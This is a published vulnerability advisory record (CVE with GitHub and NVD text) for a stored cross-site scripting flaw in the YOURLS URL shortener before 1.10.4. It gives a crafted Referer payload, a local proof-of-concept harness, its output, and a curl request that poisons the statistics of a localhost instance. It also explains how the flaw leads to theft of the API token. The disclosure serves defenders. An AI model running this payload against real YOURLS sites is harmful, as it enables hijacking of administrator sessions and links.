{"id":"CVE-2026-63135","aliases":["CVE-2026-63135","GHSA-5h77-88j3-r659"],"related":[],"kind":"vulnerability","state":"published","title":"YOURLS: Stored XSS in referrer statistics chart via crafted Referer header","summary":"YOURLS is a self-hosted, customizable URL shortener written in PHP. From 1.5.1 until 1.10.4, YOURLS stores the HTTP Referer header through yourls_get_referrer(), yourls_sanitize_url_safe(), and yourls_log_redirect(), then aggregates the value in yourls-infos.php and passes the derived domain through yourls_get_domain(), yourls_stats_pie(), and yourls_google_array_to_data_table(). The chart builder concatenates labels into inline JavaScript without JavaScript-string escaping, so an unauthenticated attacker can poison the statistics of an existing short URL with a crafted referrer. When an administrator or public stats-page viewer opens the affected statistics page, attacker-controlled JavaScript executes in the YOURLS origin and can access admin-visible data, the API signature token, and privileged same-origin actions. This issue is fixed in version 1.10.4.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"YOURLS is a self-hosted, customizable URL shortener written in PHP. From 1.5.1 until 1.10.4, YOURLS stores the HTTP Referer header through yourls_get_referrer(), yourls_sanitize_url_safe(), and yourls_log_redirect(), then aggregates the value in yourls-infos.php and passes the derived domain through yourls_get_domain(), yourls_stats_pie(), and yourls_google_array_to_data_table(). The chart builder concatenates labels into inline JavaScript without JavaScript-string escaping, so an unauthenticated attacker can poison the statistics of an existing short URL with a crafted referrer. When an administrator or public stats-page viewer opens the affected statistics page, attacker-controlled JavaScript executes in the YOURLS origin and can access admin-visible data, the API signature token, and privileged same-origin actions. This issue is fixed in version 1.10.4.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nYOURLS stores the HTTP `Referer` header for short URL redirects and later renders aggregated referrer domains in the per-link statistics page. An unauthenticated attacker can send a crafted `Referer` header to any existing short URL. When an authenticated administrator or stats-page viewer opens that short URL's statistics page, the crafted referrer is embedded into Google Charts JavaScript without JavaScript-string escaping, causing stored cross-site scripting.\n\nThis is reachable in default private installations when authenticated users view stats, and in documented configurations where `YOURLS_PRIVATE_INFOS` is set to `false` to make statistics pages public.\n\n### Details\n\nThe vulnerable source-to-sink path is:\n\n```text\nHTTP Referer header\n  -> yourls_get_referrer()\n  -> yourls_sanitize_url_safe()\n  -> yourls_log_redirect()\n  -> log table referrer column\n  -> yourls-infos.php referrer aggregation\n  -> yourls_get_domain()\n  -> yourls_stats_pie()\n  -> yourls_google_array_to_data_table()\n  -> inline JavaScript\n```\n\nRelevant code:\n\n- `includes/functions.php:240-243`: `yourls_get_referrer()` reads `$_SERVER['HTTP_REFERER']`, calls `yourls_sanitize_url_safe()`, and truncates the result to 200 bytes.\n- `includes/functions.php:294-307`: `yourls_redirect_shorturl()` calls `yourls_log_redirect()` before redirecting the visitor.\n- `includes/functions.php:516-545`: `yourls_log_redirect()` stores the sanitized referrer in the log table.\n- `yourls-infos.php:60-82`: the statistics page reads logged referrers and groups them by `yourls_get_domain($row->referrer)`.\n- `yourls-infos.php:493-498`: the statistics page passes referrer domains to `yourls_stats_pie()`.\n- `includes/functions-infos.php:338-355`: `yourls_google_array_to_data_table()` manually concatenates labels into JavaScript as `['$label', ...]` without escaping single quotes, backslashes, or other JavaScript string metacharacters.\n- `includes/functions-formatting.php:141-143` and `includes/functions-formatting.php:555-609`: `yourls_sanitize_url_safe()` removes some unsafe characters and CRLF sequences, but still permits the characters needed for JavaScript-string breakout, including `'`, `[`, `]`, `,`, and parentheses.\n\nA crafted referrer host such as:\n\n```text\nx',1],['marker',alert(1)],['z.tld\n```\n\nsurvives sanitization when used in a URL like:\n\n```text\nhttp://x',1],['marker',alert(1)],['z.tld/path\n```\n\nIt is then rendered into chart JavaScript like:\n\n```javascript\nvar data = google.visualization.arrayToDataTable([\n    ['x',1],['marker',alert(1)],['z.tld',1]\n]);\n```\n\nThe `alert(1)` call is only a benign proof marker. An attacker could execute arbitrary JavaScript in the stats viewer's browser context.\n\n### PoC\n\nThe following local harness was run against commit `c3fc8e2370d240403c17c2e4a70e1e234759a5b3`. It exercises YOURLS' real URL sanitizer, domain extraction, and `yourls_stats_pie()` chart rendering path, then executes the generated chart script in Node with stubs for Google Charts and `alert()`.\n\n```sh\ndocker run --rm --network none -v \"$PWD:/repo:ro\" -w /repo phpmyadmin:5.2.1 php -d display_startup_errors=0 -r '\ndefine(\"IDNA_DEFAULT\",0);\ndefine(\"INTL_IDNA_VARIANT_UTS46\",1);\nfunction yourls_add_action(){ }\nfunction yourls_do_action(){ }\nfunction yourls_apply_filter($tag,$value){ return $value; }\nfunction yourls_get_protocol($url){ preg_match(\"!^[a-zA-Z][a-zA-Z0-9+.-]+:(//)?!\", $url, $m); return isset($m[0]) ? $m[0] : \"\"; }\nfunction yourls_is_allowed_protocol($url,$protocols=[]){ if(!$protocols){ global $yourls_allowedprotocols; $protocols=$yourls_allowedprotocols; } return in_array(yourls_get_protocol($url), $protocols); }\nif(!function_exists(\"idn_to_utf8\")){ function idn_to_utf8($domain,$flags=0,$variant=0){ return $domain; } }\nrequire \"includes/vendor/autoload.php\";\nrequire \"includes/functions-kses.php\";\nyourls_kses_init();\nrequire \"includes/functions-formatting.php\";\nrequire \"includes/functions-infos.php\";\n$ref=\"http://x\\x27,1],[\\x27marker\\x27,alert(1)],[\\x27z.tld/path\";\n$san=substr(yourls_sanitize_url_safe($ref),0,200);\n$host=yourls_get_domain($san);\nob_start();\nyourls_stats_pie([$host=>1,\"benign.example\"=>1,\"another.example\"=>1], 5, \"440x220\", \"stat_tab_source_ref\");\n$html=ob_get_clean();\npreg_match(\"#<script[^>]*>(.*?)</script>#s\", $html, $m);\n$js=\"global.pwned=0; function alert(x){global.pwned=x}; const google={setOnLoadCallback:(fn)=>fn(),visualization:{arrayToDataTable:(x)=>x,PieChart:function(){this.draw=function(){}}}}; document={getElementById:(id)=>({id})}; \".$m[1].\"; console.log(\\x27san=\\x27+\".json_encode($san).\"); console.log(\\x27host=\\x27+\".json_encode($host).\"); console.log(\\x27pwned=\\x27+global.pwned);\";\necho $js;\n' 2>/dev/null > /tmp/yourls-xss-harness.js && node /tmp/yourls-xss-harness.js\n```\n\nObserved output:\n\n```text\nsan=http://x',1],['marker',alert(1)],['z.tld/path\nhost=x',1],['marker',alert(1)],['z.tld\npwned=1\n```\n\nA request that would poison statistics for an existing short URL in a local YOURLS instance is:\n\n```sh\ncurl -H \"Referer: http://x',1],['marker',alert(1)],['z.tld/path\" \\\n  http://localhost/<existing-keyword>\n```\n\nThen view the affected short URL's stats page:\n\n```text\nhttp://localhost/<existing-keyword>+\n```\n\nThe payload is short enough to survive YOURLS' 200-byte referrer truncation and still executes when additional benign referrers are present.\n\n### Impact\n\nBeyond executing arbitrary JavaScript in the victim's browser, the stored XSS runs in the authenticated YOURLS origin and can perform privileged same-origin actions.\n\nIn a private installation, an attacker can use the victim administrator's session to fetch admin pages, read embedded CSRF nonces, and call admin AJAX endpoints to create, edit, or delete short URLs. This allows replacing existing short-link destinations with attacker-controlled phishing or malware URLs, deleting links, and modifying link metadata.\n\nThe XSS can also fetch `/admin/tools.php` and read the victim's secret API signature token. That token authenticates passwordless API requests and can be reused outside the victim's browser session to create short URLs and query URL/global statistics until the underlying secret changes.\n\nConfidentiality impact includes access to admin-visible URL inventory and metadata such as long URLs, titles, creator IP addresses, timestamps, click counts, referrer statistics, and the API signature token. Integrity impact includes persistent modification of short-link destinations and deletion/creation of links.\n\n### Credits\n- Thai Son Dinh from VinSOC Labs (R&D)","format":"markdown","source":"ghsa"},{"lang":"es","text":"YOURLS es un acortador de URL autoalojado y personalizable escrito en PHP. Desde la versión 1.5.1 hasta la 1.10.4, YOURLS almacena el encabezado HTTP Referer a través de yourls_get_referrer(), yourls_sanitize_url_safe() y yourls_log_redirect(), luego agrega el valor en yourls-infos.php y pasa el dominio derivado a través de yourls_get_domain(), yourls_stats_pie() y yourls_google_array_to_data_table(). El generador de gráficos concatena etiquetas en JavaScript en línea sin escape de cadenas de JavaScript, por lo que un atacante no autenticado puede envenenar las estadísticas de una URL corta existente con un referente manipulado. Cuando un administrador o un visor de la página de estadísticas pública abre la página de estadísticas afectada, el JavaScript controlado por el atacante se ejecuta en el origen de YOURLS y puede acceder a datos visibles para el administrador, el token de firma de la API y acciones privilegiadas del mismo origen. Este problema está corregido en la versión 1.10.4.","source":"nvd"}],"published":"2026-08-21T20:40:08.199Z","modified":"2026-10-14T21:10:00.183Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N","score":8.2,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N","score":8.2,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N","score":8.2,"rating":"HIGH"}],"cwes":["CWE-79"],"affected":[{"ranges":[{"version":">= 1.5.1, < 1.10.4","status":"affected"}],"vendor":"YOURLS","product":"YOURLS","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"1.5.1","status":"affected","fixed":"1.10.4"}],"ecosystem":"Packagist","package":"yourls/yourls","purl":"pkg:composer/yourls/yourls","source":"ghsa"}],"references":[{"url":"https://github.com/YOURLS/YOURLS/security/advisories/GHSA-5h77-88j3-r659","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/YOURLS/YOURLS/pull/4107","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/YOURLS/YOURLS/commit/e1e93476655107e6caab34e52259eb1c91079ec7","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/YOURLS/YOURLS/releases/tag/1.10.4","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/YOURLS/YOURLS","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-08-26T17:40:19.146Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-63135","url":"https://www.cve.org/CVERecord?id=CVE-2026-63135","licence":"CVE Terms of Use","modified":"2026-08-26T17:40:42.981Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-5h77-88j3-r659","url":"https://github.com/advisories/GHSA-5h77-88j3-r659","licence":"CC-BY-4.0","modified":"2026-08-21T21:10:59.760Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-63135","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63135","licence":"Public domain","modified":"2026-10-14T21:10:00.183Z"}],"updatedAt":"2026-11-25T22:59:34.829Z","epss":{"score":0.00314,"percentile":0.26288,"date":"2026-12-01T12:00:22.000Z"}}